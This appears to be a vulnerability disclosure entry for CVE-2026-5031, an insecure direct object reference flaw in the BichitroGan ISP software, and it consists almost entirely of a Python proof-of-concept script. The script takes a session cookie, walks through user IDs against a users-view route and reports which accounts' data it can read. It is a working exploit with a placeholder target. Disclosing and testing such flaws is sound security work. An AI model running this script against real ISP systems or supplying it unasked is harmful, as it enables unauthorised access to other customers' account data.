CVE-2026-5031: BichitroGan ISP资源标识符控制不当漏洞

import requests def poc_check(target_url, session_id): """ PoC for CVE-2026-5031 Demonstrates IDOR by iterating user IDs. """ headers = { "Cookie": f"PHPSESSID={session_id}", "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } print(f"[*] Checking target: {target_url}") # Iterate through potential user IDs for user_id in range(1, 10): params = {"ID": user_id} try: response = requests.get(target_url, headers=headers, params=params, timeout=5) if response.status_code == 200 and "username" in response.text: print(f"[+] ID {user_id} is accessible!") # print(response.text) # Uncomment to see data else: print(f"[-] ID {user_id} not accessible or invalid") except Exception as e: print(f"[!] Error connecting: {e}") if __name__ == "__main__": # Replace with actual target and session poc_check("http://target.com/?_route=settings/users-view/", "valid_session_cookie")